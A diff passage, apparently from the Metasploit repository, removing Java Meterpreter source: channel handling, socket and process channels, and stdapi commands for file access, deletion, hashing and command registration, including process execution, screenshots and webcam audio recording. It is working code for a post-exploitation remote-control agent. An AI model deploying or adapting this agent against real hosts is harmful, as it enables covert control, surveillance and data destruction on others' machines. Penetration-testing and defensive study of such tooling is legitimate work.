import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_channel_eof implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
int id = request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID);
|
||||
if (id == 0) {
|
||||
response.add(TLVType.TLV_TYPE_BOOL, false);
|
||||
} else {
|
||||
Channel c = meterpreter.getChannel(id, true);
|
||||
response.add(TLVType.TLV_TYPE_BOOL, c.isEOF());
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,22 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_channel_interact implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
||||
// True means start interacting, False means stop
|
||||
boolean toggle = request.getBooleanValue(TLVType.TLV_TYPE_BOOL);
|
||||
if (toggle) {
|
||||
channel.startInteract();
|
||||
} else {
|
||||
channel.stopInteract();
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,15 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_channel_open implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String channelType = request.getStringValue(TLVType.TLV_TYPE_CHANNEL_TYPE);
|
||||
Command channelCreator = meterpreter.getCommandManager().getCommand("channel_create_" + channelType);
|
||||
return channelCreator.execute(meterpreter, request, response);
|
||||
}
|
||||
}
|
@ -1,20 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_channel_read implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
||||
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||
byte[] data = channel.read(len);
|
||||
if (data == null)
|
||||
return ERROR_FAILURE;
|
||||
response.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,19 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_channel_write implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
||||
byte[] data = request.getRawValue(TLVType.TLV_TYPE_CHANNEL_DATA);
|
||||
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||
c.write(data, len, request);
|
||||
response.add(TLVType.TLV_TYPE_LENGTH, len);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,19 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_loadlib implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
|
||||
String[] commands = meterpreter.loadExtension(data);
|
||||
for (int i = 0; i < commands.length; i++) {
|
||||
response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,96 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.net.DatagramPacket;
|
||||
import java.net.DatagramSocket;
|
||||
import java.net.InetAddress;
|
||||
import java.net.SocketException;
|
||||
|
||||
/**
|
||||
* A channel for a {@link DatagramSocket}.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class DatagramSocketChannel extends Channel {
|
||||
|
||||
private final DatagramSocket datagramSocket;
|
||||
private boolean closed = false;
|
||||
|
||||
/**
|
||||
* Create a new socket channel.
|
||||
*
|
||||
* @param meterpreter
|
||||
* The meterpreter this channel should be assigned to.
|
||||
* @param socket
|
||||
* Socket of the channel
|
||||
*/
|
||||
public DatagramSocketChannel(Meterpreter meterpreter, DatagramSocket datagramSocket) throws IOException {
|
||||
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
|
||||
this.datagramSocket = datagramSocket;
|
||||
new AcceptThread().start();
|
||||
}
|
||||
|
||||
public void write(byte[] data, int length, TLVPacket request) throws IOException {
|
||||
String remoteHostName = (String) request.getValue(TLVType.TLV_TYPE_PEER_HOST, null);
|
||||
InetAddress remoteHost = null;
|
||||
int remotePort = 0;
|
||||
if (remoteHostName != null) {
|
||||
remoteHost = InetAddress.getByName(remoteHostName);
|
||||
remotePort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
||||
}
|
||||
write(data, length, remoteHost, remotePort);
|
||||
}
|
||||
|
||||
private void write(byte[] data, int length, InetAddress remoteHost, int remotePort) throws IOException {
|
||||
if (remoteHost == null) {
|
||||
remoteHost = datagramSocket.getInetAddress();
|
||||
remotePort = datagramSocket.getPort();
|
||||
}
|
||||
DatagramPacket dp = new DatagramPacket(data, length, remoteHost, remotePort);
|
||||
datagramSocket.send(dp);
|
||||
}
|
||||
|
||||
public void close() throws IOException {
|
||||
closed = true;
|
||||
datagramSocket.close();
|
||||
super.close();
|
||||
}
|
||||
|
||||
Meterpreter getMeterpreter() {
|
||||
return meterpreter;
|
||||
}
|
||||
|
||||
private class AcceptThread extends Thread {
|
||||
public void run() {
|
||||
try {
|
||||
byte[] datagram = new byte[65536];
|
||||
while (true) {
|
||||
try {
|
||||
DatagramPacket dp = new DatagramPacket(datagram, datagram.length);
|
||||
datagramSocket.receive(dp);
|
||||
byte[] data = new byte[dp.getLength()];
|
||||
System.arraycopy(datagram, 0, data, 0, dp.getLength());
|
||||
TLVPacket tlv = new TLVPacket();
|
||||
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
|
||||
tlv.add(TLVType.TLV_TYPE_PEER_HOST, dp.getAddress().getHostAddress());
|
||||
tlv.add(TLVType.TLV_TYPE_PEER_PORT, dp.getPort());
|
||||
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
|
||||
tlv.add(TLVType.TLV_TYPE_LENGTH, data.length);
|
||||
getMeterpreter().writeRequestPacket("core_channel_write", tlv);
|
||||
} catch (SocketException t) {
|
||||
// dirty hack since later java versions add more of those...
|
||||
if (!t.getClass().getName().endsWith("UnreachableException"))
|
||||
throw t;
|
||||
}
|
||||
}
|
||||
} catch (SocketException t) {
|
||||
if (closed)
|
||||
return;
|
||||
t.printStackTrace(getMeterpreter().getErrorStream());
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(getMeterpreter().getErrorStream());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,39 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
|
||||
/**
|
||||
* A channel for a started {@link Process}.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class ProcessChannel extends Channel {
|
||||
|
||||
private final Process process;
|
||||
private final InputStream err;
|
||||
|
||||
/**
|
||||
* Create a new process channel.
|
||||
*
|
||||
* @param meterpreter
|
||||
* The meterpreter this channel should be assigned to.
|
||||
* @param process
|
||||
* Process of the channel
|
||||
*/
|
||||
public ProcessChannel(Meterpreter meterpreter, Process process) {
|
||||
super(meterpreter, process.getInputStream(), process.getOutputStream());
|
||||
this.process = process;
|
||||
this.err = process.getErrorStream();
|
||||
new InteractThread(err).start();
|
||||
}
|
||||
|
||||
public void close() throws IOException {
|
||||
process.destroy();
|
||||
err.close();
|
||||
super.close();
|
||||
}
|
||||
}
|
@ -1,69 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketException;
|
||||
|
||||
/**
|
||||
* A channel for a {@link ServerSocket}.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class ServerSocketChannel extends Channel {
|
||||
|
||||
private final ServerSocket serverSocket;
|
||||
private boolean closed = false;
|
||||
|
||||
/**
|
||||
* Create a new socket channel.
|
||||
*
|
||||
* @param meterpreter
|
||||
* The meterpreter this channel should be assigned to.
|
||||
* @param socket
|
||||
* Socket of the channel
|
||||
*/
|
||||
public ServerSocketChannel(Meterpreter meterpreter, ServerSocket serverSocket) throws IOException {
|
||||
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
|
||||
this.serverSocket = serverSocket;
|
||||
new AcceptThread().start();
|
||||
}
|
||||
|
||||
public void close() throws IOException {
|
||||
closed = true;
|
||||
serverSocket.close();
|
||||
super.close();
|
||||
}
|
||||
|
||||
Meterpreter getMeterpreter() {
|
||||
return meterpreter;
|
||||
}
|
||||
|
||||
private class AcceptThread extends Thread {
|
||||
public void run() {
|
||||
try {
|
||||
while(true) {
|
||||
Socket s = serverSocket.accept();
|
||||
SocketChannel ch = new SocketChannel(getMeterpreter(), s);
|
||||
|
||||
TLVPacket packet = new TLVPacket();
|
||||
packet.add(TLVType.TLV_TYPE_CHANNEL_ID, ch.getID());
|
||||
packet.add(TLVType.TLV_TYPE_CHANNEL_PARENTID, getID());
|
||||
packet.add(TLVType.TLV_TYPE_LOCAL_HOST, s.getLocalAddress().getHostAddress());
|
||||
packet.add(TLVType.TLV_TYPE_LOCAL_PORT, s.getLocalPort());
|
||||
packet.add(TLVType.TLV_TYPE_PEER_HOST, s.getInetAddress().getHostAddress());
|
||||
packet.add(TLVType.TLV_TYPE_PEER_PORT, s.getPort());
|
||||
getMeterpreter().writeRequestPacket("tcp_channel_open", packet);
|
||||
ch.startInteract();
|
||||
}
|
||||
} catch (SocketException t) {
|
||||
if (closed)
|
||||
return;
|
||||
t.printStackTrace(getMeterpreter().getErrorStream());
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(getMeterpreter().getErrorStream());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,39 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.Socket;
|
||||
|
||||
/**
|
||||
* A channel for a {@link Socket}.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class SocketChannel extends Channel {
|
||||
|
||||
private final Socket socket;
|
||||
|
||||
/**
|
||||
* Create a new socket channel.
|
||||
*
|
||||
* @param meterpreter
|
||||
* The meterpreter this channel should be assigned to.
|
||||
* @param socket
|
||||
* Socket of the channel
|
||||
*/
|
||||
public SocketChannel(Meterpreter meterpreter, Socket socket) throws IOException {
|
||||
super(meterpreter, socket.getInputStream(), socket.getOutputStream());
|
||||
this.socket = socket;
|
||||
}
|
||||
|
||||
public void close() throws IOException {
|
||||
socket.close();
|
||||
super.close();
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the socket.
|
||||
*/
|
||||
public Socket getSocket() {
|
||||
return socket;
|
||||
}
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.FileInputStream;
|
||||
import java.security.MessageDigest;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public abstract class HashCommand implements Command {
|
||||
|
||||
protected abstract String getAlgorithm();
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
FileInputStream in = new FileInputStream(Loader.expand(request.getStringValue(TLVType.TLV_TYPE_FILE_PATH)));
|
||||
MessageDigest md = MessageDigest.getInstance(getAlgorithm());
|
||||
byte[] buf = new byte[4096];
|
||||
int len;
|
||||
while ((len = in.read(buf)) != -1) {
|
||||
md.update(buf, 0, len);
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_FILE_NAME, new String(md.digest(), "ISO-8859-1"));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,52 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import com.metasploit.meterpreter.CommandManager;
|
||||
import com.metasploit.meterpreter.ExtensionLoader;
|
||||
|
||||
/**
|
||||
* Loader class to register all the stdapi commands.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class Loader implements ExtensionLoader {
|
||||
|
||||
public static File cwd;
|
||||
|
||||
public static File expand(String path) {
|
||||
File result = new File(path);
|
||||
if (!result.isAbsolute())
|
||||
result = new File(cwd, path);
|
||||
return result;
|
||||
}
|
||||
|
||||
public void load(CommandManager mgr) throws Exception {
|
||||
cwd = new File(".").getCanonicalFile();
|
||||
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
|
||||
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
|
||||
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
|
||||
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
|
||||
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path.class, V1_2, V1_5); // %COMSPEC% only
|
||||
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
|
||||
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
|
||||
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
|
||||
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
|
||||
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
|
||||
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
|
||||
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
|
||||
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
|
||||
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
|
||||
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
|
||||
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
|
||||
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
|
||||
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
|
||||
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
|
||||
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);
|
||||
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
|
||||
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4);
|
||||
}
|
||||
}
|
@ -1,40 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
|
||||
|
||||
public class channel_create_stdapi_fs_file implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String fpath = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
||||
String mode = request.getStringValue(TLVType.TLV_TYPE_FILE_MODE, "rb");
|
||||
Channel channel;
|
||||
if (mode.equals("r") || mode.equals("rb") || mode.equals("rbb")) {
|
||||
channel = null;
|
||||
if (fpath.equals("...")) {
|
||||
byte[] data = meterpreter.getErrorBuffer();
|
||||
if (data != null)
|
||||
channel = new Channel(meterpreter, new ByteArrayInputStream(data), null);
|
||||
}
|
||||
if (channel == null)
|
||||
channel = new Channel(meterpreter, new FileInputStream(Loader.expand(fpath)), null);
|
||||
} else if (mode.equals("r") || mode.equals("wb") || mode.equals("wbb")) {
|
||||
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), false));
|
||||
} else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) {
|
||||
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), true));
|
||||
} else {
|
||||
NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
|
||||
throw new IllegalArgumentException("Unsupported file mode: " + mode);
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,43 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.net.ConnectException;
|
||||
import java.net.InetAddress;
|
||||
import java.net.Socket;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.SocketChannel;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class channel_create_stdapi_net_tcp_client implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
|
||||
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
||||
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
||||
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
||||
int retries = ((Integer) request.getValue(TLVType.TLV_TYPE_CONNECT_RETRIES, new Integer(1))).intValue();
|
||||
if (retries < 1)
|
||||
retries = 1;
|
||||
InetAddress peerAddr = InetAddress.getByName(peerHost);
|
||||
InetAddress localAddr = InetAddress.getByName(localHost);
|
||||
Socket socket = null;
|
||||
for (int i = 0; i < retries; i++) {
|
||||
try {
|
||||
socket = new Socket(peerAddr, peerPort, localAddr, localPort);
|
||||
break;
|
||||
} catch (ConnectException ex) {
|
||||
if (i == retries - 1)
|
||||
throw ex;
|
||||
}
|
||||
}
|
||||
|
||||
// If we got here, the connection worked, respond with the new channel ID
|
||||
Channel channel = new SocketChannel(meterpreter, socket);
|
||||
channel.startInteract();
|
||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,27 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.net.InetAddress;
|
||||
import java.net.ServerSocket;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.ServerSocketChannel;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class channel_create_stdapi_net_tcp_server implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
||||
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
||||
ServerSocket ss;
|
||||
if (localHost.equals("0.0.0.0"))
|
||||
ss = new ServerSocket(localPort);
|
||||
else
|
||||
ss = new ServerSocket(localPort, 50, InetAddress.getByName(localHost));
|
||||
Channel channel = new ServerSocketChannel(meterpreter, ss);
|
||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,31 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.net.DatagramSocket;
|
||||
import java.net.InetAddress;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.DatagramSocketChannel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class channel_create_stdapi_net_udp_client implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
|
||||
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
||||
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
||||
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
|
||||
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
||||
|
||||
DatagramSocket ds = new DatagramSocket(localPort, InetAddress.getByName(localHost));
|
||||
if (peerPort != 0) {
|
||||
ds.connect(InetAddress.getByName(peerHost), peerPort);
|
||||
}
|
||||
Channel channel = new DatagramSocketChannel(meterpreter,ds);
|
||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
}
|
@ -1,22 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_chdir implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
||||
File f = Loader.expand(path);
|
||||
if (!f.exists() || !f.isDirectory()) {
|
||||
throw new IOException("Path not found: " + path);
|
||||
}
|
||||
Loader.cwd = f.getCanonicalFile();
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,24 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_delete_dir implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
||||
File file = Loader.expand(path);
|
||||
if (!file.exists() || !file.isDirectory()) {
|
||||
throw new IOException("Directory not found: " + path);
|
||||
}
|
||||
if (!file.delete()) {
|
||||
throw new IOException("Cannot delete directory " + file.getCanonicalPath());
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,24 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_delete_file implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
||||
File file = Loader.expand(path);
|
||||
if (!file.exists() || !file.isFile()) {
|
||||
throw new IOException("File not found: " + path);
|
||||
}
|
||||
if (!file.delete()) {
|
||||
throw new IOException("Cannot delete " + file.getCanonicalPath());
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,29 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
|
||||
|
||||
public class stdapi_fs_file_expand_path implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
||||
if (path.equals("%COMSPEC%")) {
|
||||
response.add(TLVType.TLV_TYPE_FILE_PATH, getShellPath());
|
||||
return ERROR_SUCCESS;
|
||||
} else {
|
||||
return NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
|
||||
}
|
||||
}
|
||||
|
||||
protected String getShellPath() {
|
||||
if (File.pathSeparatorChar == ';')
|
||||
return "cmd.exe";
|
||||
else
|
||||
return "/bin/sh";
|
||||
}
|
||||
}
|
@ -1,17 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
public class stdapi_fs_file_expand_path_V1_5 extends stdapi_fs_file_expand_path {
|
||||
|
||||
protected String getShellPath() {
|
||||
String result;
|
||||
if (File.pathSeparatorChar == ';')
|
||||
result = System.getenv("COMSPEC");
|
||||
else
|
||||
result = System.getenv("SHELL");
|
||||
if (result == null || result.length() == 0)
|
||||
result = super.getShellPath();
|
||||
return result;
|
||||
}
|
||||
}
|
@ -1,14 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_getwd implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
response.add(TLVType.TLV_TYPE_DIRECTORY_PATH, Loader.cwd.getAbsolutePath());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,25 +0,0 @@
|
||||
package com.metasploit.meterpreter.stdapi;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class stdapi_fs_ls implements Command {
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
stdapi_fs_stat statCommand = (stdapi_fs_stat) meterpreter.getCommandManager().getCommand("stdapi_fs_stat");
|
||||
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
||||
String[] entries = new File(path).list();
|
||||
for (int i = 0; i < entries.length; i++) {
|
||||
if (entries[i].equals(".") || entries[i].equals(".."))
|
||||
continue;
|
||||
File f = new File(path, entries[i]);
|
||||
response.addOverflow(TLVType.TLV_TYPE_FILE_NAME, entries[i]);
|
||||
response.addOverflow(TLVType.TLV_TYPE_FILE_PATH, f.getCanonicalPath());
|
||||
